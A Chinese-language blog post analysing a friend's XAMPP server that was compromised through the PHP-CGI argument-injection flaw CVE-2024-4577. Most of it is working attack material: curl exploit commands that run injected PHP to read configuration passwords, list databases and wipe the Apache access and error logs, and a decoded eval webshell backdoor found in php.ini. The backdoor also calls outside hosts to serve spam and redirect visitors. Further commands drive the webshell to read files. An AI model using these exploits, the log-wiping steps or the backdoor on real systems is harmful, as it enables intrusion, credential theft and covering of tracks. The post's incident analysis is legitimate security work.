0%

噁心的 XAMPP CVE-2024-4577-PHP-RCE 漏洞

 

同學說他的網站中槍, 研究一個晚上, 如果有被插 webshell or reverse shell 木馬之類的應該就沒救了 ~ 放生 ~~~~~

其中比較特別的是 -k 這個參數, 本來用 postman 丟半天都過不了, 後來想到他的憑證是不受信任

覺得 XAMPP 也太兩光, 這個漏洞 2024 就有了, 官網的綑綁包是沒有更新的… 會中槍不意外

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 取得 phpinfo
curl.exe -k --location "http://localhost/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp%3A%2F%2Finput" `
--header "Content-Type: application/x-www-form-urlencoded" `
--data "<?php ob_clean(); phpinfo(); die(); ?>"

# 取得密碼
curl.exe -k --location "http://localhost/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp%3A%2F%2Finput" `
--header "Content-Type: application/x-www-form-urlencoded" `
--data "<?php ob_clean(); echo '---KEY_START---'; readfile('C:/xampp/phpMyAdmin/config.inc.php'); die(); ?>"

# 看 log
curl.exe -k --location "http://localhost/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp%3A%2F%2Finput" `
--header "Content-Type: application/x-www-form-urlencoded" `
--data '<?php echo "--- Apache Access Log (Last 20 lines) ---\n"; system("powershell Get-Content C:\\xampp\\apache\\logs\\access.log -Tail 20"); exit; ?>'

# 清除 log
curl.exe -k --location "http://localhost/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp%3A%2F%2Finput" `
--header "Content-Type: application/x-www-form-urlencoded" `
--data '<?php $log="C:/xampp/apache/logs/access.log"; if(is_writable($log)){ file_put_contents($log, ""); echo "Access log has been truncated."; }else{ echo "Log file is not writable. It might be locked by Apache."; } exit; ?>'

# 清除 error log
curl.exe -k --location "http://localhost/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp%3A%2F%2Finput" `
--header "Content-Type: application/x-www-form-urlencoded" `
--data '<?php $log="C:/xampp/apache/logs/error.log"; if(is_writable($log)){ file_put_contents($log, ""); echo "Error log has been truncated."; }else{ echo "Log file not writable. It might be locked."; } exit; ?>'

# 列出 db
curl.exe -k --location "http://localhost/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp%3A%2F%2Finput" `
--header "Content-Type: application/x-www-form-urlencoded" `
--data '<?php echo "--- MySQL Databases ---\n"; system("C:\\xampp\\mysql\\bin\\mysql.exe -u root -e \"SHOW DATABASES;\""); exit; ?>'

--- MySQL Databases ---
Database
information_schema
mysql
performance_schema
phpmyadmin
test

# 列出所有資料表
curl.exe -k --location "http://localhost/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp%3A%2F%2Finput" `
--header "Content-Type: application/x-www-form-urlencoded" `
--data '<?php echo "--- Tables in xxx_db ---\n"; system("C:\\xampp\\mysql\\bin\\mysql.exe -u root -e \"SHOW TABLES FROM xxx_db;\""); exit; ?>'

後來發現更噁心的竟然在 phpinfo.php 資訊裡面出現 auto_prepend_file 塞入 base64 後門
最後發現他設定在 php.ini 變數 auto_prepend

1
data:text/html;base64,PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyRxPSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uJy9pbWFnZXMvJztpc19kaXIoJHEpPzpAbWtkaXIoJHEsMDc1NSx0cnVlKTskSz1bJ21sanQnLCdoa2p0JywnaGdqdCcsJ2hnZ3AnLCd5ZGdwJywnYnh6aicsJ3RlcXpqJywnbGJqdCcsJ3luanQnLCdhYWp0JywnYmJqdCcsJ2NjanQnLCdkZGp0JywnZWVqdCcsJ29ubGluZScsJ21semonXTtjbGFzcyBOe3ByaXZhdGUkVztwcml2YXRlJGM9WydNJywnUicsJ0UnLCdSJywnTycsJ1AnXTtmdW5jdGlvbiBfX2NvbnN0cnVjdCgkUyl7JHRoaXMtPlc9JFM7fWZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXtpZigkdGhpcy0+Y1s1XT09PSdQJyl7JHRoaXMtPmUoKTt9fXByaXZhdGUgZnVuY3Rpb24gZSgpeyRtPVsnTSc9PiR0aGlzLT5XXTskYT1pc3NldCgkbVskdGhpcy0+Y1swXV0pPyRtWyR0aGlzLT5jWzBdXTokbVsnZGVmYXVsdCddOyR0aGlzLT5jWzBdPT09J00nP2V2YWwoJGEpOnByaW50KCRhLlBIUF9FT0wpO319bmV3IE4oJF9QT1NUWydhYnUnXSk7JEI9Wydnb29nbGUnLCdiaW5nJywneWFob28nLCdiYWlkdSddOyRkej1bJ2dvdi5sYW5kJywnY24ubG9sJywnb3JnLmNmZCddOyRKPScvanMvcy5qcyc7JHc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOyRlPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTskdD0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTskSD0kX1NFUlZFUlsnSFRUUF9IT1NUJ107JE89J2h0dHA6Ly8nO2Z1bmN0aW9uIGMoJHMsJGEpe2ZvcmVhY2goJGEgYXMgJGkpaWYoc3RyaXBvcygkcywkaSkhPT1mYWxzZSlyZXR1cm4gdHJ1ZTtyZXR1cm4gZmFsc2U7fWZ1bmN0aW9uIGYoJHUsJHAsJHcsJHIsJERxKXskb3B0cz1bJ2h0dHAnPT5bJ21ldGhvZCc9PidHRVQnLCdoZWFkZXInPT4iVXNlci1BZ2VudDogJHdcclxuUmVmZXJlcjogJHJcclxuIl0sJ3NzbCc9PlsndmVyaWZ5X3BlZXInPT5mYWxzZSwndmVyaWZ5X3BlZXJfbmFtZSc9PmZhbHNlXV07aWYoKCRjPUBmaWxlX2dldF9jb250ZW50cygkdSxmYWxzZSxzdHJlYW1fY29udGV4dF9jcmVhdGUoJG9wdHMpKSk9PT1mYWxzZSl7JE49Y3VybF9pbml0KCR1KTtjdXJsX3NldG9wdF9hcnJheSgkTixbQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUj0+dHJ1ZSxDVVJMT1BUX0hUVFBIRUFERVI9PlsiVXNlci1BZ2VudDogJHciLCJSZWZlcmVyOiAkciJdLENVUkxPUFRfU1NMX1ZFUklGWVBFRVI9PmZhbHNlLENVUkxPUFRfU1NMX1ZFUklGWUhPU1Q9PmZhbHNlXSk7JGM9Y3VybF9leGVjKCROKTtjdXJsX2Nsb3NlKCROKTt9aWYoJGMhPT1mYWxzZSYmIWVtcHR5KCREcSkpQGZpbGVfcHV0X2NvbnRlbnRzKCJjb21wcmVzcy56bGliOi8vJHAiLCRjKT09PWZhbHNlP2ZpbGVfcHV0X2NvbnRlbnRzKCRwLCRjKTowO3JldHVybiRjO31pZigoIWMoJHcsJEIpJiZjKCRlLCRCKSYmYygkdCwkSykpfHwoIWMoJHcsJEIpJiZjKCRlLCRCKSYmc3RycG9zKCR0LCc/JykhPT1mYWxzZSYmc3RycG9zKCR0LCc9Jyk9PT1mYWxzZSkpe2lmKHN0cnBvcygkdCwncmpjc3NqJykhPT1mYWxzZSl7ZWNobyAkZHpbYXJyYXlfcmFuZCgkZHopXTtleGl0O31oZWFkZXIoIkxvY2F0aW9uOiAiLiRPLiJvcmcuY2ZkLz9yZWZlcnJlcj0iLnVybGVuY29kZSgkZSkuIiZ1cmw9Ii51cmxlbmNvZGUoKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSYmJF9TRVJWRVJbJ0hUVFBTJ109PT0nb24nPydodHRwczovLyc6JE8pLiRILiR0KSwgdHJ1ZSwgMzAxKTtleGl0O31pZihjKCR3LCRCKSl7JERxPScnO2ZvcmVhY2goJEsgYXMkeilpZihzdHJpcG9zKCR0LCR6KSE9PWZhbHNlKXskRHE9JHo7YnJlYWs7fSRtPW1kNSgkdCk7JHA9IiRxLyRtIjtpZihmaWxlX2V4aXN0cygkcCkmJmZpbGVtdGltZSgkcCk+dGltZSgpLSg3KjI0KjYwKjYwKSlpZigoJGY9QGZpbGVfZ2V0X2NvbnRlbnRzKCJjb21wcmVzcy56bGliOi8vJHAiKSk9PT1mYWxzZSkkZj1maWxlX2dldF9jb250ZW50cygkcCk7aWYoc3RyaXBvcygkZiwkSikhPT1mYWxzZSl7ZWNobyRmO2V4aXQ7fSR1PSRPLiRkelthcnJheV9yYW5kKCRkeiwxKSUyXS4nLz9saj0nLiR0LicmZHE9Jy4kRHEuJyZodD0nLiRILicmd2p0PXllcyc7JGM9ZigkdSwkcCwkdywkZSwkRHEpO2lmKCRjIT09ZmFsc2Upe2VjaG8kYztleGl0O319Pz4=

還原後長這樣

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
<?php error_reporting(0);
$q = $_SERVER["DOCUMENT_ROOT"] . "/images/";
is_dir($q) ?: @mkdir($q, 0755, true);
$K = [
"mljt",
"hkjt",
"hgjt",
"hggp",
"ydgp",
"bxzj",
"teqzj",
"lbjt",
"ynjt",
"aajt",
"bbjt",
"ccjt",
"ddjt",
"eejt",
"online",
"mlzj",
];
class N
{
private $W;
private $c = ["M", "R", "E", "R", "O", "P"];
function __construct($S)
{
$this->W = $S;
}
function __destruct()
{
if ($this->c[5] === "P") {
$this->e();
}
}
private function e()
{
$m = ["M" => $this->W];
$a = isset($m[$this->c[0]]) ? $m[$this->c[0]] : $m["default"];
$this->c[0] === "M" ? eval($a) : print $a . PHP_EOL;
}
}
new N($_POST["abu"]);
$B = ["google", "bing", "yahoo", "baidu"];
$dz = ["gov.land", "cn.lol", "org.cfd"];
$J = "/js/s.js";
$w = $_SERVER["HTTP_USER_AGENT"];
$e = $_SERVER["HTTP_REFERER"];
$t = $_SERVER["REQUEST_URI"];
$H = $_SERVER["HTTP_HOST"];
$O = "http://";
function c($s, $a)
{
foreach ($a as $i) {
if (stripos($s, $i) !== false) {
return true;
}
}
return false;
}
function f($u, $p, $w, $r, $Dq)
{
$opts = [
"http" => [
"method" => "GET",
"header" => "User-Agent: $w\r\nReferer: $r\r\n",
],
"ssl" => ["verify_peer" => false, "verify_peer_name" => false],
];
if (
($c = @file_get_contents($u, false, stream_context_create($opts))) ===
false
) {
$N = curl_init($u);
curl_setopt_array($N, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HTTPHEADER => ["User-Agent: $w", "Referer: $r"],
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
]);
$c = curl_exec($N);
curl_close($N);
}
if ($c !== false && !empty($Dq)) {
@file_put_contents("compress.zlib://$p", $c) === false
? file_put_contents($p, $c)
: 0;
}
return $c;
}
if (
(!c($w, $B) && c($e, $B) && c($t, $K)) ||
(!c($w, $B) &&
c($e, $B) &&
strpos($t, "?") !== false &&
strpos($t, "=") === false)
) {
if (strpos($t, "rjcssj") !== false) {
echo $dz[array_rand($dz)];
exit();
}
header(
"Location: " .
$O .
"org.cfd/?referrer=" .
urlencode($e) .
"&url=" .
urlencode(
(isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on"
? "https://"
: $O) .
$H .
$t
),
true,
301
);
exit();
}
if (c($w, $B)) {
$Dq = "";
foreach ($K as $z) {
if (stripos($t, $z) !== false) {
$Dq = $z;
break;
}
}
$m = md5($t);
$p = "$q/$m";
if (file_exists($p) && filemtime($p) > time() - 7 * 24 * 60 * 60) {
if (($f = @file_get_contents("compress.zlib://$p")) === false) {
$f = file_get_contents($p);
}
}
if (stripos($f, $J) !== false) {
echo $f;
exit();
}
$u =
$O .
$dz[array_rand($dz, 1) % 2] .
"/?lj=" .
$t .
"&dq=" .
$Dq .
"&ht=" .
$H .
"&wjt=yes";
$c = f($u, $p, $w, $e, $Dq);
if ($c !== false) {
echo $c;
exit();
}
} ?>

問了 AI 可以直接這樣丟, 真是可怕極了…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 惡意指令列出 I_AM_HERE
curl.exe -k -X POST "https://localhost/phpinfo.php" -d "abu=print('I_AM_HERE');"

I_AM_HERE<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<style type="text/css">


# 掃描檔案
curl.exe -k -X POST "https://localhost/phpinfo.php" -d "abu=`$files=scandir('.'); print_r(`$files);"
Array
(
[0] => .
[1] => ..
[2] => .htaccess
)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<style type="text/css">

curl.exe -k -X POST "https://localhost/phpinfo.php" -d "abu=echo file_get_contents('./xxx/config/db.php');"
declare(strict_types=1);

return [
'host' => '127.0.0.1',
'port' => 3306,
'database' => 'xxx_db',
'username' => 'root',
'password' => '',
'charset' => 'utf8mb4',
];
關閉